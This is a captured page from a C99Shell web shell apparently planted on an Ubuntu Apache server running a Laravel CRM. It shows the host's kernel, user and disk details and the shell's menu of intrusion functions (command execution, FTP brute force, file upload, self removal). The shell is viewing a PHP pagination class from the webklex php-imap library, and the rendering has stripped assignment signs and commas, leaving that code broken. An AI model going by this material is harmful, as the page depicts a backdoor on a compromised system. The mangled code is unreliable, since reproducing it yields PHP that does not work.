!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/Support/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaginatedCollection.php (2.06 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File:     PaginatedCollection.php
* Category: Collection
* Author:   M. Goldenbaum
* Created:  16.03.18 03:13
* Updated:  -
*
* Description:
*  -
*/

namespace Webklex\PHPIMAP\Support;

use 
Illuminate\Pagination\LengthAwarePaginator;
use 
Illuminate\Support\Collection;
use 
Illuminate\Pagination\Paginator;

/**
 * Class PaginatedCollection
 *
 * @package Webklex\PHPIMAP\Support
 */
class PaginatedCollection extends Collection {

    
/**
     * Number of total entries
     *
     * @var int $total
     */
    
protected int $total 0;

    
/**
     * Paginate the current collection.
     * @param int $per_page
     * @param int|null $page
     * @param string $page_name
     * @param boolean $prepaginated
     *
     * @return LengthAwarePaginator
     */
    
public function paginate(int $per_page 15, ?int $page nullstring $page_name 'page'bool $prepaginated false): LengthAwarePaginator {
        
$page $page ?: Paginator::resolveCurrentPage($page_name);

        
$total $this->total ?: $this->count();

        
$results = !$prepaginated && $total $this->forPage($page$per_page)->toArray() : $this->all();

        return 
$this->paginator($results$total$per_page$page, [
            
'path'      => Paginator::resolveCurrentPath(),
            
'pageName'  => $page_name,
        ]);
    }

    
/**
     * Create a new length-aware paginator instance.
     * @param array $items
     * @param int $total
     * @param int $per_page
     * @param int|null $current_page
     * @param  array    $options
     *
     * @return LengthAwarePaginator
     */
    
protected function paginator(array $itemsint $totalint $per_page, ?int $current_page, array $options): LengthAwarePaginator {
        return new 
LengthAwarePaginator($items$total$per_page$current_page$options);
    }

    
/**
     * Get and set the total amount
     * @param null $total
     *
     * @return int|null
     */
    
public function total($total null): ?int {
        if(
$total === null) {
            return 
$this->total;
        }

        return 
$this->total $total;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0073 ]--